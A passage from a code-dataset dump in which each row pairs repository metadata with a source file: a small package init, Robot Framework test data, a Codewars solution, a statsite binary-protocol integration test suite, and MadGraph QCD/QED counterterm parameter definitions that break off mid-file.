| 28.857143 | 40 | 0.470297 | 78 | 808 | 4.820513 | 0.25641 | 0.191489 | 0.191489 | 0.223404 | 0.734043 | 0.734043 | 0.734043 | 0.734043 | 0.734043 | 0.734043 | 0 | 0 | 0.413366 | 808 | 27 | 41 | 29.925926 | 0.793249 | 0 | 0 | 0.461538 | 0 | 0 | 0.004957 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038462 | false | 0 | 0 | 0 | 0.076923 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9abf13ba411b448d1e817a091c6ba40d3fa39e78 | 188 | py | Python | glcore/__init__.py | EdisonLeeeee/glcore | e571730a3884b31c01581419609caf21087fbcfe | [
"MIT"
] | null | null | null | glcore/__init__.py | EdisonLeeeee/glcore | e571730a3884b31c01581419609caf21087fbcfe | [
"MIT"
] | null | null | null | glcore/__init__.py | EdisonLeeeee/glcore | e571730a3884b31c01581419609caf21087fbcfe | [
"MIT"
] | null | null | null | import torch
from glcore.sampler import neighbor_sampler_cpu
from glcore.ops import topk
from glcore.ops import dimmedian_idx
__all__ = ["neighbor_sampler_cpu", "topk", "dimmedian_idx"]
| 23.5 | 59 | 0.81383 | 27 | 188 | 5.296296 | 0.444444 | 0.20979 | 0.251748 | 0.265734 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111702 | 188 | 7 | 60 | 26.857143 | 0.856287 | 0 | 0 | 0 | 0 | 0 | 0.196809 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.8 | 0 | 0.8 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
9aef163fece629251fbe6632d1c2ef02bec9eb75 | 111 | py | Python | atest/testdata/libdoc/KeywordOnlyArgs.py | phil-davis/robotframework | 4d4ce686cbe01e293bb86ea6ff34330e8c45fc43 | [
"ECL-2.0",
"Apache-2.0"
] | 7,073 | 2015-01-01T17:19:16.000Z | 2022-03-31T22:01:29.000Z | atest/testdata/libdoc/KeywordOnlyArgs.py | phil-davis/robotframework | 4d4ce686cbe01e293bb86ea6ff34330e8c45fc43 | [
"ECL-2.0",
"Apache-2.0"
] | 2,412 | 2015-01-02T09:29:05.000Z | 2022-03-31T13:10:46.000Z | atest/testdata/libdoc/KeywordOnlyArgs.py | phil-davis/robotframework | 4d4ce686cbe01e293bb86ea6ff34330e8c45fc43 | [
"ECL-2.0",
"Apache-2.0"
] | 2,298 | 2015-01-03T02:47:15.000Z | 2022-03-31T02:00:16.000Z | def kw_only_args(*, kwo):
pass
def kw_only_args_with_varargs(*varargs, kwo, another='default'):
pass
| 15.857143 | 64 | 0.702703 | 17 | 111 | 4.235294 | 0.588235 | 0.138889 | 0.25 | 0.361111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.171171 | 111 | 6 | 65 | 18.5 | 0.782609 | 0 | 0 | 0.5 | 0 | 0 | 0.063063 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
b10517ef9dffa365602975e4d8e62bd18f8e8538 | 187 | py | Python | python/8Kyu/Job Matching #1.py | athasv/Codewars-data | 5e106466e709fd776f23585ad9f652d0d65b48d3 | [
"MIT"
] | null | null | null | python/8Kyu/Job Matching #1.py | athasv/Codewars-data | 5e106466e709fd776f23585ad9f652d0d65b48d3 | [
"MIT"
] | null | null | null | python/8Kyu/Job Matching #1.py | athasv/Codewars-data | 5e106466e709fd776f23585ad9f652d0d65b48d3 | [
"MIT"
] | null | null | null | def match(candidate, job):
#your code here
return candidate["min_salary"] <= job["max_salary"] or candidate["min_salary"] <= (job["max_salary"] + (candidate["min_salary"]/100*10)) | 62.333333 | 140 | 0.684492 | 26 | 187 | 4.730769 | 0.538462 | 0.292683 | 0.439024 | 0.341463 | 0.487805 | 0.487805 | 0 | 0 | 0 | 0 | 0 | 0.030488 | 0.122995 | 187 | 3 | 140 | 62.333333 | 0.719512 | 0.074866 | 0 | 0 | 0 | 0 | 0.289017 | 0 | 0 | 0 | 0 | 0.333333 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 8 |
b17357982f5ff341961f86ca59b8ee08ac309817 | 18,077 | py | Python | integ/test_binary_stream.py | rei/statsite | 4f9ec056351ade19776be3ee5352d967c189e9ad | [
"BSD-3-Clause"
] | 1 | 2018-04-30T20:53:31.000Z | 2018-04-30T20:53:31.000Z | integ/test_binary_stream.py | wikimedia/operations-debs-statsite | 0aee92db58414b2c0d5154ee4b3b0e366d9ee8ad | [
"BSD-3-Clause"
] | 6 | 2016-11-15T00:16:51.000Z | 2019-01-21T18:40:15.000Z | integ/test_binary_stream.py | wikimedia/operations-debs-statsite | 0aee92db58414b2c0d5154ee4b3b0e366d9ee8ad | [
"BSD-3-Clause"
] | 1 | 2017-09-26T16:17:47.000Z | 2017-09-26T16:17:47.000Z | """
Integration testing for the binary streaming protocol.
This is for the backend, as opposed to the frontend binary
protocol.
"""
import os
import os.path
import shutil
import socket
import subprocess
import sys
import tempfile
import time
import random
import struct
try:
import pytest
except ImportError:
print >> sys.stderr, "Integ tests require pytests!"
sys.exit(1)
BINARY_HEADER = struct.Struct("<BBHd")
BINARY_SET_HEADER = struct.Struct("<BBHH")
COUNT_VAL = struct.Struct("<I")
BIN_TYPES = {"kv": 1, "c": 2, "ms": 3, "set": 4, "g": 5}
BINARY_OUT_HEADER = struct.Struct("<QBBHd")
BINARY_OUT_LEN = 20
VAL_TYPE_MAP = {
"kv": 0,
"sum": 1,
"sum sq": 2,
"mean": 3,
"count": 4,
"stddev": 5,
"min": 6,
"max": 7,
"hist_min": 8,
"hist_bin": 9,
"hist_max": 10,
"rate": 11,
"sample_rate": 12,
"percentile": 128,
}
# Pre-compute all the possible percentiles
for x in xrange(1, 100):
VAL_TYPE_MAP["P%02d" % x] = 128 | x
def pytest_funcarg__servers(request):
"Returns a new APIHandler with a filter manager"
# Create tmpdir and delete after
tmpdir = tempfile.mkdtemp()
# Make the command
output = "%s/output" % tmpdir
cmd = "cat >> %s" % output
# Write the configuration
port = random.randrange(10000, 65000)
config_path = os.path.join(tmpdir, "config.cfg")
conf = """[statsite]
flush_interval = 1
port = %d
udp_port = %d
stream_cmd = %s
binary_stream = yes
[histogram1]
prefix=has_hist
min=10
max=90
width=10
""" % (port, port, cmd)
open(config_path, "w").write(conf)
# Start the process
proc = subprocess.Popen(['./statsite', '-f', config_path])
proc.poll()
assert proc.returncode is None
# Define a cleanup handler
def cleanup():
try:
proc.kill()
proc.wait()
shutil.rmtree(tmpdir)
except:
print proc
pass
request.addfinalizer(cleanup)
# Make a connection to the server
connected = False
for x in xrange(3):
try:
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.settimeout(1)
conn.connect(("localhost", port))
connected = True
break
except Exception, e:
print e
time.sleep(0.5)
# Die now
if not connected:
raise EnvironmentError("Failed to connect!")
# Make a second connection
conn2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
conn2.connect(("localhost", port))
# Return the connection
return conn, conn2, output
def pytest_funcarg__serversPrefix(request):
"Returns a new APIHandler with a filter manager"
# Create tmpdir and delete after
tmpdir = tempfile.mkdtemp()
# Make the command
output = "%s/output" % tmpdir
cmd = "cat >> %s" % output
# Write the configuration
port = random.randrange(10000, 65000)
config_path = os.path.join(tmpdir, "config.cfg")
conf = """[statsite]
flush_interval = 1
port = %d
udp_port = %d
stream_cmd = %s
binary_stream = yes
prefix_binary_stream = true
[histogram1]
prefix=has_hist
min=10
max=90
width=10
""" % (port, port, cmd)
open(config_path, "w").write(conf)
# Start the process
proc = subprocess.Popen(['./statsite', '-f', config_path])
proc.poll()
assert proc.returncode is None
# Define a cleanup handler
def cleanup():
try:
proc.kill()
proc.wait()
shutil.rmtree(tmpdir)
except:
print proc
pass
request.addfinalizer(cleanup)
# Make a connection to the server
connected = False
for x in xrange(3):
try:
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.settimeout(1)
conn.connect(("localhost", port))
connected = True
break
except Exception, e:
print e
time.sleep(0.5)
# Die now
if not connected:
raise EnvironmentError("Failed to connect!")
# Make a second connection
conn2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
conn2.connect(("localhost", port))
# Return the connection
return conn, conn2, output
def format(key, type, val):
"Formats a binary message for statsite"
key = str(key)
key_len = len(key) + 1
type_num = BIN_TYPES[type]
header = BINARY_HEADER.pack(170, type_num, key_len, float(val))
mesg = header + key + "\0"
return mesg
def format_set(key, val):
"Formats a binary set message for statsite"
key = str(key)
key_len = len(key) + 1
val = str(val)
val_len = len(val) + 1
type_num = BIN_TYPES["set"]
header = BINARY_SET_HEADER.pack(170, type_num, key_len, val_len)
mesg = "".join([header, key, "\0", val, "\0"])
return mesg
def format_output(time, key, type, val_type, val):
"Formats an response line. This is to check that we meet spec"
prefix = BINARY_OUT_HEADER.pack(int(time), type, val_type, len(key) + 1, val)
return prefix + key + "\0"
def format_output_count(time, key, type, val_type, val, count):
"Formats a response line that includes a count, for histograms"
prefix = format_output(time, key, type, val_type, val)
return prefix + COUNT_VAL.pack(count)
def wait_file(path, timeout=5):
"Waits on a file to be make"
start = time.time()
while not os.path.isfile(path) and time.time() - start < timeout:
time.sleep(0.1)
if not os.path.isfile(path):
raise Exception("Timed out waiting for file %s" % path)
while os.path.getsize(path) == 0 and time.time() - start < timeout:
time.sleep(0.1)
class TestInteg(object):
def test_kv(self, servers):
"Tests adding kv pairs"
server, _, output = servers
server.sendall(format("tubez", "kv", 100))
wait_file(output)
now = time.time()
out = open(output).read()
assert out in (format_output(now, "tubez", BIN_TYPES["kv"], VAL_TYPE_MAP["kv"], 100),
format_output(now - 1, "tubez", BIN_TYPES["kv"], VAL_TYPE_MAP["kv"], 100))
def test_gauges(self, servers):
"Tests streaming gauges"
server, _, output = servers
server.sendall(format("g1", "g", 500))
wait_file(output)
now = time.time()
out = open(output).read()
assert out in (format_output(now, "g1", BIN_TYPES["g"], VAL_TYPE_MAP["kv"], 500),
format_output(now - 1, "g1", BIN_TYPES["g"], VAL_TYPE_MAP["kv"], 500))
def test_counters(self, servers):
"Tests adding kv pairs"
server, _, output = servers
server.sendall(format("foobar", "c", 100))
server.sendall(format("foobar", "c", 200))
server.sendall(format("foobar", "c", 300))
wait_file(output)
now = time.time()
out = open(output).read()
# Adjust for time drift
if format_output(now - 1, "foobar", BIN_TYPES["c"], VAL_TYPE_MAP["sum"], 600) in out:
now = now - 1
assert format_output(now, "foobar", BIN_TYPES["c"], VAL_TYPE_MAP["sum"], 600) in out
assert format_output(now, "foobar", BIN_TYPES["c"], VAL_TYPE_MAP["sum sq"], 140000) in out
assert format_output(now, "foobar", BIN_TYPES["c"], VAL_TYPE_MAP["mean"], 200) in out
assert format_output(now, "foobar", BIN_TYPES["c"], VAL_TYPE_MAP["count"], 3) in out
assert format_output(now, "foobar", BIN_TYPES["c"], VAL_TYPE_MAP["stddev"], 100) in out
assert format_output(now, "foobar", BIN_TYPES["c"], VAL_TYPE_MAP["min"], 100) in out
assert format_output(now, "foobar", BIN_TYPES["c"], VAL_TYPE_MAP["max"], 300) in out
assert format_output(now, "foobar", BIN_TYPES["c"], VAL_TYPE_MAP["rate"], 600) in out
def test_meters(self, servers):
"Tests adding kv pairs"
server, _, output = servers
msg = ""
for x in xrange(100):
msg += format("noobs", "ms", x)
server.sendall(msg)
wait_file(output)
now = time.time()
out = open(output).read()
# Adjust for time drift
if format_output(now - 1, "noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["sum"], 4950) in out:
now = now - 1
assert format_output(now, "noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["sum"], 4950) in out
assert format_output(now, "noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["sum sq"], 328350) in out
assert format_output(now, "noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["min"], 0) in out
assert format_output(now, "noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["max"], 99) in out
assert format_output(now, "noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["count"], 100) in out
assert format_output(now, "noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["stddev"], 29.011491975882016) in out
assert format_output(now, "noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["mean"], 49.5) in out
assert format_output(now, "noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["rate"], 4950) in out
assert format_output(now, "noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["sample_rate"], 100) in out
assert format_output(now, "noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["P50"], 49) in out
assert format_output(now, "noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["P95"], 95) in out
assert format_output(now, "noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["P99"], 99) in out
def test_histogram(self, servers):
"Tests streaming of histogram values"
server, _, output = servers
msg = ""
for x in xrange(100):
msg += format("has_hist.test", "ms", x)
server.sendall(msg)
wait_file(output)
now = time.time()
out = open(output).read()
# Adjust for time drift
if format_output_count(now - 1, "has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_min"], 10, 10) in out:
now = now - 1
assert format_output_count(now, "has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_min"], 10, 10) in out
assert format_output_count(now, "has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 10, 10) in out
assert format_output_count(now, "has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 20, 10) in out
assert format_output_count(now, "has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 30, 10) in out
assert format_output_count(now, "has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 40, 10) in out
assert format_output_count(now, "has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 50, 10) in out
assert format_output_count(now, "has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 60, 10) in out
assert format_output_count(now, "has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 70, 10) in out
assert format_output_count(now, "has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 80, 10) in out
assert format_output_count(now, "has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_max"], 90, 10) in out
def test_sets(self, servers):
"Tests adding sets"
server, _, output = servers
server.sendall(format_set("zip", "foo"))
server.sendall(format_set("zip", "bar"))
server.sendall(format_set("zip", "baz"))
wait_file(output)
now = time.time()
out = open(output).read()
# Adjust for time drift
if format_output(now - 1, "zip", BIN_TYPES["set"], VAL_TYPE_MAP["sum"], 3) in out:
now = now - 1
assert format_output(now, "zip", BIN_TYPES["set"], VAL_TYPE_MAP["sum"], 3) in out
class TestIntegPrefix(object):
def test_kv(self, serversPrefix):
"Tests adding kv pairs"
server, _, output = serversPrefix
server.sendall(format("tubez", "kv", 100))
wait_file(output)
now = time.time()
out = open(output).read()
assert out in (format_output(now, "kv.tubez", BIN_TYPES["kv"], VAL_TYPE_MAP["kv"], 100),
format_output(now - 1, "kv.tubez", BIN_TYPES["kv"], VAL_TYPE_MAP["kv"], 100))
def test_gauges(self, serversPrefix):
"Tests streaming gauges"
server, _, output = serversPrefix
server.sendall(format("g1", "g", 500))
wait_file(output)
now = time.time()
out = open(output).read()
assert out in (format_output(now, "gauges.g1", BIN_TYPES["g"], VAL_TYPE_MAP["kv"], 500),
format_output(now - 1, "gauges.g1", BIN_TYPES["g"], VAL_TYPE_MAP["kv"], 500))
def test_counters(self, serversPrefix):
"Tests adding kv pairs"
server, _, output = serversPrefix
server.sendall(format("foobar", "c", 100))
server.sendall(format("foobar", "c", 200))
server.sendall(format("foobar", "c", 300))
wait_file(output)
now = time.time()
out = open(output).read()
# Adjust for time drift
if format_output(now - 1, "counts.foobar", BIN_TYPES["c"], VAL_TYPE_MAP["sum"], 600) in out:
now = now - 1
assert format_output(now, "counts.foobar", BIN_TYPES["c"], VAL_TYPE_MAP["sum"], 600) in out
assert format_output(now, "counts.foobar", BIN_TYPES["c"], VAL_TYPE_MAP["sum sq"], 140000) in out
assert format_output(now, "counts.foobar", BIN_TYPES["c"], VAL_TYPE_MAP["mean"], 200) in out
assert format_output(now, "counts.foobar", BIN_TYPES["c"], VAL_TYPE_MAP["count"], 3) in out
assert format_output(now, "counts.foobar", BIN_TYPES["c"], VAL_TYPE_MAP["stddev"], 100) in out
assert format_output(now, "counts.foobar", BIN_TYPES["c"], VAL_TYPE_MAP["min"], 100) in out
assert format_output(now, "counts.foobar", BIN_TYPES["c"], VAL_TYPE_MAP["max"], 300) in out
assert format_output(now, "counts.foobar", BIN_TYPES["c"], VAL_TYPE_MAP["rate"], 600) in out
def test_meters(self, serversPrefix):
"Tests adding kv pairs"
server, _, output = serversPrefix
msg = ""
for x in xrange(100):
msg += format("noobs", "ms", x)
server.sendall(msg)
wait_file(output)
now = time.time()
out = open(output).read()
# Adjust for time drift
if format_output(now - 1, "timers.noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["sum"], 4950) in out:
now = now - 1
assert format_output(now, "timers.noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["sum"], 4950) in out
assert format_output(now, "timers.noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["sum sq"], 328350) in out
assert format_output(now, "timers.noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["min"], 0) in out
assert format_output(now, "timers.noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["max"], 99) in out
assert format_output(now, "timers.noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["count"], 100) in out
assert format_output(now, "timers.noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["stddev"], 29.011491975882016) in out
assert format_output(now, "timers.noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["mean"], 49.5) in out
assert format_output(now, "timers.noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["rate"], 4950) in out
assert format_output(now, "timers.noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["sample_rate"], 100) in out
assert format_output(now, "timers.noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["P50"], 49) in out
assert format_output(now, "timers.noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["P95"], 95) in out
assert format_output(now, "timers.noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["P99"], 99) in out
def test_histogram(self, serversPrefix):
"Tests streaming of histogram values"
server, _, output = serversPrefix
msg = ""
for x in xrange(100):
msg += format("has_hist.test", "ms", x)
server.sendall(msg)
wait_file(output)
now = time.time()
out = open(output).read()
# Adjust for time drift
if format_output(now - 1, "timers.noobs", BIN_TYPES["ms"], VAL_TYPE_MAP["sum"], 4950) in out:
now = now - 1
assert format_output_count(now, "timers.has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_min"], 10, 10) in out
assert format_output_count(now, "timers.has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 10, 10) in out
assert format_output_count(now, "timers.has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 20, 10) in out
assert format_output_count(now, "timers.has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 30, 10) in out
assert format_output_count(now, "timers.has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 40, 10) in out
assert format_output_count(now, "timers.has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 50, 10) in out
assert format_output_count(now, "timers.has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 60, 10) in out
assert format_output_count(now, "timers.has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 70, 10) in out
assert format_output_count(now, "timers.has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_bin"], 80, 10) in out
assert format_output_count(now, "timers.has_hist.test", BIN_TYPES["ms"], VAL_TYPE_MAP["hist_max"], 90, 10) in out
def test_sets(self, serversPrefix):
"Tests adding sets"
server, _, output = serversPrefix
server.sendall(format_set("zip", "foo"))
server.sendall(format_set("zip", "bar"))
server.sendall(format_set("zip", "baz"))
wait_file(output)
now = time.time()
out = open(output).read()
# Adjust for time drift
if format_output(now - 1, "sets.zip", BIN_TYPES["set"], VAL_TYPE_MAP["sum"], 3) in out:
now = now - 1
assert format_output(now, "sets.zip", BIN_TYPES["set"], VAL_TYPE_MAP["sum"], 3) in out
if __name__ == "__main__":
sys.exit(pytest.main(args="-k TestInteg."))
| 38.708779 | 121 | 0.622504 | 2,592 | 18,077 | 4.146219 | 0.103395 | 0.054713 | 0.074439 | 0.085419 | 0.874477 | 0.855588 | 0.845445 | 0.834838 | 0.828696 | 0.817158 | 0 | 0.033538 | 0.234663 | 18,077 | 466 | 122 | 38.791845 | 0.74326 | 0.034298 | 0 | 0.561644 | 0 | 0 | 0.158814 | 0 | 0 | 0 | 0 | 0 | 0.186301 | 0 | null | null | 0.005479 | 0.032877 | null | null | 0.013699 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b175bcc4b60ceb6db961a3e12b95831b0578f24a | 167,755 | py | Python | models/loop_qcd_qed_sm/CT_parameters.py | khurtado/MG5_aMC | 9cde676b0a1097058c416983017af257385fa375 | [
"NCSA"
] | 5 | 2018-10-23T14:37:18.000Z | 2021-11-22T20:59:02.000Z | models/loop_qcd_qed_sm/CT_parameters.py | khurtado/MG5_aMC | 9cde676b0a1097058c416983017af257385fa375 | [
"NCSA"
] | 26 | 2018-10-08T15:49:32.000Z | 2020-05-15T13:33:36.000Z | models/loop_qcd_qed_sm/CT_parameters.py | khurtado/MG5_aMC | 9cde676b0a1097058c416983017af257385fa375 | [
"NCSA"
] | 4 | 2019-02-18T11:42:18.000Z | 2021-11-11T20:46:08.000Z | # This file was automatically created by FeynRules $Revision: 535 $
# Mathematica version: 7.0 for Mac OS X x86 (64-bit) (November 11, 2008)
# Date: Fri 18 Mar 2011 18:40:51
from object_library import all_CTparameters, CTParameter
from function_library import complexconjugate, re, im, csc, sec, acsc, asec, arg, reglog,reglogp,reglogm, recms
################
# R2 vertices #
################
# ========= #
# Pure QCD #
# ========= #
RGR2 = CTParameter(name = 'RGR2',
type = 'real',
value = {0:'-(3.0/2.0)*G**4/(96.0*cmath.pi**2)'},
texname = 'RGR2')
# ============== #
# Mixed QCD-QED #
# ============== #
R2MixedFactor = CTParameter(name = 'R2MixedFactor',
type = 'real',
value = {0:'-(G**2*(1.0+lhv)*(Ncol**2-1.0))/(2.0*Ncol*16.0*cmath.pi**2)'},
texname = 'R2MixedFactor')
# ============== #
# Pure QED #
# ============== #
R2SS = CTParameter(name = 'R2SS',
type = 'real',
value = {0:'ee**2/(16.0*cmath.pi**2*sw**2)'},
texname = 'R2SS')
R2VV = CTParameter(name = 'R2VV',
type = 'real',
value = {0:'ee**2/cmath.pi**2'},
texname = 'R2VV')
R2SFF = CTParameter(name = 'R2SFF',
type = 'real',
value = {0:'ee**3/cmath.pi**2'},
texname = 'R2SFF')
R24S = CTParameter(name = 'R24S',
type = 'real',
value = {0:'ee**4/cmath.pi**2'},
texname = 'R24S')
# ============== #
# Mixed QED-QCD #
# ============== #
R2GQQ2 = CTParameter(name = 'R2GQQ2',
type = 'real',
value = {0:'-G*ee**2/cmath.pi**2'},
texname = 'R2GQQ2')
################
# UV vertices #
################
# ========= #
# Pure QCD #
# ========= #
G_UVg = CTParameter(name = 'G_UVg',
type = 'real',
value = {-1:'-((G**2)/(2.0*48.0*cmath.pi**2))*11.0*CA'},
texname = '\delta Gg')
G_UVq = CTParameter(name = 'G_UVq',
type = 'real',
value = {-1:'((G**2)/(2.0*48.0*cmath.pi**2))*4.0*TF'},
texname = '\delta Gq')
G_UVc = CTParameter(name = 'G_UVc',
type = 'real',
value = {-1:'((G**2)/(2.0*48.0*cmath.pi**2))*4.0*TF',
0:'cond(MC,0.0,-((G**2)/(2.0*48.0*cmath.pi**2))*4.0*TF*reglog(MC**2/MU_R**2))'},
texname = '\delta Gc')
G_UVb = CTParameter(name = 'G_UVb',
type = 'real',
value = {-1:'((G**2)/(2.0*48.0*cmath.pi**2))*4.0*TF',
0:'cond(MB,0.0,-((G**2)/(2.0*48.0*cmath.pi**2))*4.0*TF*reglog(MB**2/MU_R**2))'},
texname = '\delta Gb')
G_UVt = CTParameter(name = 'G_UVt',
type = 'real',
value = {-1:'((G**2)/(2.0*48.0*cmath.pi**2))*4.0*TF',
0:'cond(MT,0.0,-((G**2)/(2.0*48.0*cmath.pi**2))*4.0*TF*reglog(MT**2/MU_R**2))'},
texname = '\delta Gt')
GWcft_UV_c = CTParameter(name = 'GWcft_UV_c',
type = 'real',
value = {-1:'cond(MC,0.0,-((G**2)/(2.0*48.0*cmath.pi**2))*4.0*TF)',
0:'cond(MC,0.0,((G**2)/(2.0*48.0*cmath.pi**2))*4.0*TF*reglog(MC**2/MU_R**2))'
},
texname = '\delta G_{wfct\_c}')
GWcft_UV_b = CTParameter(name = 'GWcft_UV_b',
type = 'real',
value = {-1:'cond(MB,0.0,-((G**2)/(2.0*48.0*cmath.pi**2))*4.0*TF)',
0:'cond(MB,0.0,((G**2)/(2.0*48.0*cmath.pi**2))*4.0*TF*reglog(MB**2/MU_R**2))'
},
texname = '\delta G_{wfct\_b}')
GWcft_UV_t = CTParameter(name = 'GWcft_UV_t',
type = 'real',
value = {-1:'cond(MT,0.0,-((G**2)/(2.0*48.0*cmath.pi**2))*4.0*TF)',
0:'cond(MT,0.0,((G**2)/(2.0*48.0*cmath.pi**2))*4.0*TF*reglog(MT**2/MU_R**2))'
},
texname = '\delta G_{wfct\_t}')
cWcft_UV = CTParameter(name = 'cWcft_UV',
type = 'real',
value = {-1:'cond(MC,0.0,-((G**2)/(2.0*16.0*cmath.pi**2))*3.0*CF)',
0:'cond(MC,0.0,-((G**2)/(2.0*16.0*cmath.pi**2))*CF*(4.0-3.0*reglog(MC**2/MU_R**2)))'
},
texname = '\delta Z_c')
bWcft_UV = CTParameter(name = 'bWcft_UV',
type = 'real',
value = {-1:'cond(MB,0.0,-((G**2)/(2.0*16.0*cmath.pi**2))*3.0*CF)',
0:'cond(MB,0.0,-((G**2)/(2.0*16.0*cmath.pi**2))*CF*(4.0-3.0*reglog(MB**2/MU_R**2)))'
},
texname = '\delta Z_b')
tWcft_UV = CTParameter(name = 'tWcft_UV',
type = 'real',
value = {-1:'cond(MT,0.0,-((G**2)/(2.0*16.0*cmath.pi**2))*3.0*CF)',
0:'cond(MT,0.0,-((G**2)/(2.0*16.0*cmath.pi**2))*CF*(4.0-3.0*reglog(MT**2/MU_R**2)))'
},
texname = '\delta Z_t')
bMass_UV = CTParameter(name = 'bMass_UV',
type = 'complex',
value = {-1:'cond(MB,0.0,complex(0,1)*((G**2)/(16.0*cmath.pi**2))*(3.0*CF)*MB)',
0:'cond(MB,0.0,complex(0,1)*((G**2)/(16.0*cmath.pi**2))*CF*(4.0-3.0*reglog(MB**2/MU_R**2))*MB)'
},
texname = '\delta m_b')
cMass_UV = CTParameter(name = 'cMass_UV',
type = 'complex',
value = {-1:'cond(MC,0.0,complex(0,1)*((G**2)/(16.0*cmath.pi**2))*(3.0*CF)*MC)',
0:'cond(MC,0.0,complex(0,1)*((G**2)/(16.0*cmath.pi**2))*CF*(4.0-3.0*reglog(MC**2/MU_R**2))*MC)'
},
texname = '\delta m_c')
tMass_UV = CTParameter(name = 'tMass_UV',
type = 'complex',
value = {-1:'cond(MT,0.0,complex(0,1)*((G**2)/(16.0*cmath.pi**2))*3.0*CF*MT)',
0:'cond(MT,0.0,complex(0,1)*((G**2)/(16.0*cmath.pi**2))*CF*(4.0-3.0*reglog(MT**2/MU_R**2))*MT)'
},
texname = '\delta m_t')
# ================================== #
# QED #
# Generate automatically by WriteUFO #
# ================================== #
# ================================================ #
# QED UV parameters #
# Following UV parameters should be added if MB!=0 #
# ================================================ #
dMB_HiggsTadpole_UV_EW = CTParameter(name = 'dMB_HiggsTadpole_UV_EW',
type = 'complex',
value = {-1:'( 0 if MB == 0 else recms(CMSParam==1.0,(ee*MB**4*Ncol)/(8.*MW*cmath.pi**2*sw)) )',
